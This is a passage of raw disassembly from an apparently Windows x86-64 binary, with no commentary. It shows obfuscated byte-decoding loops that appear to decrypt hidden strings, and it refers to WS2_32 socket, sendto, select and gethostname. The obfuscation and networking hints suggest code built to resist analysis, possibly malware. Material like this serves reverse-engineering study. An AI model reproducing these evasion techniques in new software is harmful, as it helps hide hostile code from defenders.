imul rdi, rax, 0xfffffffffffffffe
add rdi, r9
add rdi, rcx
sub dil, 0xd
jmp 0x14004b5e0
je 0x14004c034
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004bfb4
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004bf82
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004bf47
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14004bf26
nop dword [rax]
cmp r8, r11
ja 0x14004c096
lea rcx, [r8 + 8]
cmp rbx, rcx
jae 0x14004b60a
lea ecx, [r11 + 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x11
jmp 0x14004b650
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14004bee2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14004bec1
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14004bea2
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004be87
cmp rbx, rcx
je 0x14004be5d
nop word [rax + rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x14004bbad
nop dword [rax]
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14004bb8a
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14004bb62
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14004bb3d
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14004bb1a
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14004bafb
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14004bae0
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14004bac5
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14004baaa
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14004ba80
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14004b660
lea rbx, [r8 + 0x42]
lea r8, [rbx + 0x28]
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x14004c079
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14004c05c
lea rax, [r8 + 0xa]
cmp rbx, rax
jb 0x14004b847
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14004b82c
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14004b811
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14004ba37
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14004b9ec
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14004b9ae
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x14004b98b
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14004b660
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x80]
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x14004b95d
lea rax, [r8 + 1]
cmp rbx, rax
ja 0x14004b93e
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x14004b91f
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14004b904
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14004b8e9
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14004b8ca
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14004b8a9
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14004b885
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14004b862
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x14004b660
lea rbx, [r8 + 6]
lea r8, [rbx + 4]
jmp 0x14004b660
lea ecx, [r11 - 0x47]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xf
jmp 0x14004b650
lea ecx, [r11 + 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0xb
jmp 0x14004b5e0
lea ecx, [r11 - 0x73]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x25
jmp 0x14004b573
lea edx, [r11 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r10d, r11b
jmp 0x14004befc
lea ecx, [r11 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
inc r8
dec r11
inc r11
jmp 0x14004b563
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x54
dec r11
inc r11
jmp 0x14004b563
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x3a
movzx r10d, r11b
jmp 0x14004bf61
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
jmp 0x14004bf98
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x14004bf9b
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r9b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004bfcd
lea edx, [r11 + 0x1e]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004bff5
lea edx, [r11 - 0x78]
movzx eax, dl
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14004b563
lea ecx, [r11 + 0x11]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x77
mov byte [rbp + r11 - 0x40], dil
inc r11
jmp 0x14004b563
lea ecx, [r11 + 0x7b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5d
cmp r8, 6
jb 0x14004b9a1
movzx r10d, r11b
lea ecx, [r10 - 0x1e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
add cl, r9b
lea edi, [rcx*2 - 0x5c]
jmp 0x14004befc
lea ecx, [r11 - 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x43
cmp rbx, 0x3e8
jae 0x14004be15
lea rax, [r8 + 0x80]
cmp rbx, rax
jbe 0x14004bd3e
lea ecx, [r11 + 6]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2a
jmp 0x14004b9c4
lea ecx, [r11 + 0x4f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x29
lea rax, [r8 + rbx]
cmp rax, 0x42
je 0x14004be3d
lea rax, [r8 + 0x28]
cmp rbx, rax
jbe 0x14004bc8d
lea ecx, [r11 - 0x21]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x19
jmp 0x14004ba02
lea ecx, [r11 - 0x16]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x66
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14004b563
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x14004bff5
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x32
jmp 0x14004bfcd
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x18
jmp 0x14004bf9b
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r9b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004bf98
movzx r10d, r11b
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004bf61
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r9b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r11
inc r11
jmp 0x14004b563
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r9b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x14004b563
movzx r10d, r11b
lea edx, [r10 + 0x3a]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004befc
lea rax, [r8 + 0x7a]
cmp rbx, rax
jae 0x14004bbd1
lea ecx, [r11 + 0x4b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xd
jmp 0x14004ba4d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004bc04
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14004b563
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004bc2c
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004bf98
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14004bc58
movzx r10d, r11b
lea edx, [r10 + 0x3c]
movzx eax, dl
and al, r9b
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004bf61
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004ba4d
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r11
inc r11
jmp 0x14004b563
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004bcb5
movzx r10d, r11b
lea ecx, [r10 + 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x33
jmp 0x14004befc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14004bcdf
lea ecx, [r11 - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
dec r11
inc r11
jmp 0x14004b563
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004bd07
movzx r10d, r11b
lea ecx, [r10 + 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x7f
jmp 0x14004bf61
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14004ba02
lea ecx, [r11 + 0x25]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 3
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14004b563
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14004bd71
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14004b563
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14004bd95
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
jmp 0x14004bfcd
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14004bdbd
lea edx, [r11 - 0xc]
movzx eax, dl
and al, r9b
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004bf98
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14004bde9
movzx r10d, r11b
lea edx, [r10 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14004bf61
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x14004b9c4
movzx r10d, r11b
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x14
jmp 0x14004befc
movzx r10d, r11b
lea edx, [r10 + 0x78]
movzx eax, dl
and al, r9b
add al, al
movzx edi, byte [rbp + r11 - 0x40]
sub dil, al
sub dil, 0x48
add dil, r9b
add dil, dl
jmp 0x14004bf61
lea ecx, [r11 + 0xe]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, byte [rbp + r11 - 0x40]
lea edi, [r9 + rcx]
sub dil, 0x62
jmp 0x14004bfcd
lea ecx, [r11 + 0x6d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 5
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14004b563
lea ecx, [r11 + 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
jmp 0x14004bf98
movzx r10d, r11b
lea ecx, [r10 + 0x7f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x79
jmp 0x14004bf61
lea ecx, [r11 - 0x17]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5f
dec r11
inc r11
jmp 0x14004b563
movzx r10d, r11b
lea ecx, [r10 - 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2b
add r10b, 0x2d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x3b
add r10b, r9b
mov byte [rbp + r11 - 0x40], r10b
inc r8
dec r11
inc r11
jmp 0x14004b563
lea ecx, [r11 + 0x65]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3d
dec r11
inc r11
jmp 0x14004b563
movzx r10d, r11b
lea ecx, [r10 - 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x57
sub r10b, 0x3d
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x55
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 - 0x40], r10b
jmp 0x14004bf98
lea ecx, [r11 + 0x39]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x71
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14004b563
lea rcx, [r11 + r15]
movzx r9d, dl
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5b
lea edx, [r11 + 0x59]
movzx eax, r9b
and al, dl
add al, al
movzx ecx, r9b
sub cl, al
sub cl, 0x6f
add cl, dl
movzx eax, cl
mov byte [rbp + r11 - 0x40], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x5c]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
sub r9b, 0x7c
add r9b, cl
mov byte [rbp + r11 - 0x40], r9b
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14004b563
lea rcx, [r11 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x27
movzx eax, byte [rbp + r11 - 0x40]
add rax, r8
add r11, rax
inc r11
jmp 0x14004b563
sub r11b, 9
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 0x3f
jmp 0x14004b560
add r11b, 0x61
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
add dil, 0x59
jmp 0x14004b550
lea rdx, [rbp + 0x15c6e24]
jmp 0x14004c0ac
lea rdx, [rbp + 0x6b1b6f]
jmp 0x14004c0ac
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x230]
call fcn.140043270
nop
mov dword [rbp - 0x20], 0xe6f6fed9
mov dword [rbp - 0x1c], 0xfa34f4fc
mov word [rbp - 0x18], 0xf8ec
mov byte [rbp - 0x16], 0x62
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x15], xmm0
mov dword [rbp - 5], eax
mov byte [rbp - 1], al
movabs rsi, 0x65b08593e8c38d2
movabs r14, 0x1311190bbba4aa76
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.140004c80
mov rbx, qword [rax]
call fcn.140004c90
mov rax, qword [rax]
xor r10d, r10d
cmp r10, 0x20
jae 0x14004cc81
movzx r9d, byte [rbp + r10 - 0x20]
mov r8, r9
cmp rbx, r10
ja 0x14004cc78
lea rcx, [rax + 1]
cmp rbx, rcx
jae 0x14004c152
lea rdx, [r10 + rsi]
mov rcx, r9
and rcx, rdx
imul rdi, rcx, 0xfffffffffffffffe
add rdi, r9
add rdi, rdx
add dil, 0x42
jmp 0x14004c1a0
je 0x14004cc07
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x14004cbd5
lea rcx, [rax + 6]
cmp rbx, rcx
je 0x14004cb92
lea rcx, [rax + 4]
cmp rbx, rcx
je 0x14004cb71
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x14004cb48
lea rcx, [rax + 9]
cmp rbx, rcx
je 0x14004cb04
nop dword [rax]
cmp rax, r10
ja 0x14004cc6f
lea rcx, [rax + 0x80]
cmp rbx, rcx
jae 0x14004c1d2
lea r8d, [r10 + 0x3a]
movzx ecx, r8b
and cl, r9b
mov edx, gethostname
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14004c213
lea rcx, [rax + 1]
cmp rbx, rcx
je 0x14004cae8
lea rcx, [rax + 2]
cmp rbx, rcx
je 0x14004cac7
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x14004cab5
lea rcx, [rax + 5]
cmp rbx, rcx
je 0x14004ca9a
lea rcx, [rax + 6]
cmp rbx, rcx
je 0x14004ca6b
lea rcx, [rax + rbx]
cmp rcx, r10
jbe 0x14004c78c
lea rcx, [rax + 0x7a]
cmp rbx, rcx
je 0x14004c768
lea rcx, [rax + 6]
cmp rbx, rcx
je 0x14004c744
lea rcx, [rax + 0x64]
cmp rbx, rcx
je 0x14004c71e
lea rcx, [rax + 0x5a]
cmp rbx, rcx
je 0x14004c6ff
lea rcx, [rax + 9]
cmp rbx, rcx
je 0x14004c6df
lea rcx, [rax + 0x200]
cmp rbx, rcx
je 0x14004c6c4
lea rcx, [rax + 0x10]
cmp rbx, rcx
je 0x14004c6a0
lea rcx, [rax + 0x400]
cmp rbx, rcx
je 0x14004c685
lea rcx, [rax + 3]
cmp rbx, rcx
je 0x14004c656
lea rcx, [rax + 0x28]
cmp rbx, rcx
je 0x14004c220
lea rbx, [rax + 4]
lea rax, [rbx + 0x61]
lea rcx, [rax + 0x40]
cmp rbx, rcx
jb 0x14004cc52
lea rcx, [rax + 0x7a]
cmp rbx, rcx
jb 0x14004cc32
lea rcx, [rax + 6]
cmp rbx, rcx
jb 0x14004c40f
lea rcx, [rax + 0x64]
cmp rbx, rcx
jb 0x14004c3ef
lea rcx, [rax + 0x5a]
cmp rbx, rcx
jb 0x14004c3d4
lea rcx, [rax + 9]
cmp rbx, rcx
jb 0x14004c608
lea rcx, [rax + 0x200]
cmp rbx, rcx
jb 0x14004c5c6
lea rcx, [rax + 1]
cmp rbx, rcx
jb 0x14004c583
lea rcx, [rax + 0x10]
cmp rbx, rcx
jb 0x14004c560
lea rcx, [rax + 0x400]
cmp rbx, rcx
jb 0x14004c220
lea rbx, [rax + 0x20]
lea rax, [rbx + 3]
lea rcx, [rax + 0x1000]
cmp rbx, rcx
ja 0x14004c531
lea rcx, [rax + 4]
cmp rbx, rcx
ja 0x14004c516
lea rcx, [rax + 0x40]
cmp rbx, rcx
ja 0x14004c4f2
lea rcx, [rax + 0x7a]
cmp rbx, rcx
ja 0x14004c4d7
lea rcx, [rax + 6]
cmp rbx, rcx
ja 0x14004c4b7
lea rcx, [rax + 0x64]
cmp rbx, rcx
ja 0x14004c498
lea rcx, [rax + 9]
cmp rbx, rcx
ja 0x14004c472
lea rcx, [rax + 0x200]
cmp rbx, rcx
ja 0x14004c44e
lea rcx, [rax + 1]
cmp rbx, rcx
ja 0x14004c42a
lea rcx, [rax + 0x10]
cmp rbx, rcx
ja 0x14004c220
lea rbx, [rax + 2]
lea rax, [rbx + 0x400]
jmp 0x14004c220
lea edx, [r10 + 6]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x2a
jmp 0x14004c213
lea r8d, [r10 + 0x62]
movzx ecx, r8b
and cl, r9b
mov edx, 0x29
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14004c1a0
lea edx, [r10 - 0x42]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x32
jmp 0x14004c123
lea r8d, [r10 - 0x30]
movzx ecx, r8b
and cl, r9b
mov edx, 0x28
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx r11d, r10b
jmp 0x14004cb1e
lea edx, [r10 + 0x2c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x34
inc rax
dec r10
inc r10
jmp 0x14004c113
lea r8d, [r10 - 0x78]
movzx ecx, r8b
and cl, r9b
mov edx, 0x24
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
dec r10
inc r10
jmp 0x14004c113
lea edx, [r10 - 0x1c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x3c
movzx r11d, r10b
jmp 0x14004cbb1
lea r8d, [r10 + 0x40]
movzx ecx, r8b
and cl, r9b
mov edx, 0x20
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14004cbeb
lea edx, [r10 - 0x64]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x44
jmp 0x14004cbee
lea r8d, [r10 - 8]
movzx ecx, r8b
and cl, r9b
mov edx, 0x1c
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx r11d, r10b
jmp 0x14004ca05
lea edx, [r10 + 0x54]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x4c
jmp 0x14004ca2e
lea r8d, [r10 - 0x50]
movzx ecx, r8b
and cl, r9b
mov edx, 0x18
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx ecx, byte [rbp + r10 - 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x14004c113
lea edx, [r10 - 0x6a]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x1a
mov byte [rbp + r10 - 0x20], dil
inc r10
jmp 0x14004c113
lea r8d, [r10 - 0xe]
movzx ecx, r8b
and cl, r9b
mov edx, 0x31
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
cmp rax, 0x20
jb 0x14004c576
movzx r11d, r10b
lea edx, [r11 - 0x54]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
add dl, r9b
lea edi, [rdx*2 - 0x68]
jmp 0x14004cb1e
lea edx, [r10 + 0x4e]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x22
cmp rbx, 0x1000
jae 0x14004c9c6
lea rcx, [rax + 0x61]
cmp rbx, rcx
jbe 0x14004c946
lea r8d, [r10 + 0x44]
movzx ecx, r8b
and cl, r9b
mov edx, reloc.WS2_32.dll_select
jmp 0x14004c593
lea r8d, [r10 - 0x56]
movzx ecx, r8b
and cl, r9b
mov edx, 0x2d
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
lea rcx, [rax + rbx]
cmp rcx, 0x40
je 0x14004c9e9
lea rdx, [rax + 5]
cmp rbx, rdx
jbe 0x14004c834
lea edx, [r10 + 0xa]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x46
jmp 0x14004c5dc
lea r8d, [r10 + 0x5c]
movzx ecx, r8b
and cl, r9b
mov edx, 0x3e
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx ecx, byte [rbp + r10 - 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x14004c113
lea edx, [r10 - 0x48]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 8
jmp 0x14004ca2e
movzx r11d, r10b
lea r8d, [r11 + 0x14]
movzx ecx, r8b
and cl, r9b
mov edx, 0x3a
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14004ca05
lea edx, [r10 + 0x70]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x10
jmp 0x14004cbee
lea r8d, [r10 - 0x34]
movzx ecx, r8b
and cl, r9b
mov edx, gethostname
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14004cbeb
movzx r11d, r10b
lea edx, [r11 + 0x28]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x18
jmp 0x14004cbb1
lea r8d, [r10 - 0x7c]
movzx ecx, r8b
and cl, r9b
mov edx, 0x32
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
dec r10
inc r10
jmp 0x14004c113
lea edx, [r10 - 0x20]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x20
inc rax
dec r10
inc r10
jmp 0x14004c113
movzx r11d, r10b
lea r8d, [r11 + 0x3c]
movzx ecx, r8b
and cl, r9b
mov edx, 0x2e
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14004cb1e
lea rcx, [rax + 6]
cmp rbx, rcx
jae 0x14004c7aa
lea r8d, [r10 - 0x2e]
movzx ecx, r8b
and cl, r9b
mov edx, 0x21
jmp 0x14004c618
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x14004c7dd
lea edx, [r10 + 0x74]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x2c
movzx ecx, byte [rbp + r10 - 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x14004c113
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x14004c806
lea r8d, [r10 + 0x60]
movzx ecx, r8b
and cl, r9b
mov edx, 0x30
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14004cbee
lea rcx, [rax + 5]
cmp rbx, rcx
jne 0x14004c623
lea edx, [r10 + 0x4c]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x14
dec r10
inc r10
jmp 0x14004c113
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x14004c861
movzx r11d, r10b
lea r8d, [r11 - 0x52]
movzx ecx, r8b
and cl, r9b
mov edx, 0x1f
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14004cb1e
lea rcx, [rax + 2]
cmp rbx, rcx
jne 0x14004c88e
lea edx, [r10 + 0x52]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x3e
inc rax
dec r10
inc r10
jmp 0x14004c113
lea rcx, [rax + 3]
cmp rbx, rcx
jne 0x14004c8bd
lea r8d, [r10 - 0xa]
movzx ecx, r8b
and cl, r9b
mov edx, 0x23
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
dec r10
inc r10
jmp 0x14004c113
cmp rbx, rdx
jne 0x14004c8dd
lea edx, [r10 - 0x1e]
movzx ecx, dl
and cl, r9b
add cl, cl
sub dl, cl
lea edi, [r9 + rdx]
sub dil, 0x2e
jmp 0x14004cbee
lea rcx, [rax + 7]
cmp rbx, rcx
jne 0x14004c90a
movzx r11d, r10b
lea r8d, [r11 - 0x7a]
movzx ecx, r8b
and cl, r9b
mov edx, 0x2b
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
jmp 0x14004ca05
lea rcx, [rax + 6]
cmp rbx, rcx
jne 0x14004c5dc
lea r8d, [r10 - 0x32]
movzx ecx, r8b
and cl, r9b
mov edx, 0x2f
sub dl, cl
lea edi, [rdx + rdx]
add dil, r8b
add dil, r9b
movzx ecx, byte [rbp + r10 - 0x20]
add rcx, rax
add r10, rcx
inc r10
jmp 0x14004c113
lea rcx, [rax + 1]
cmp rbx, rcx
jne 0x14004c979
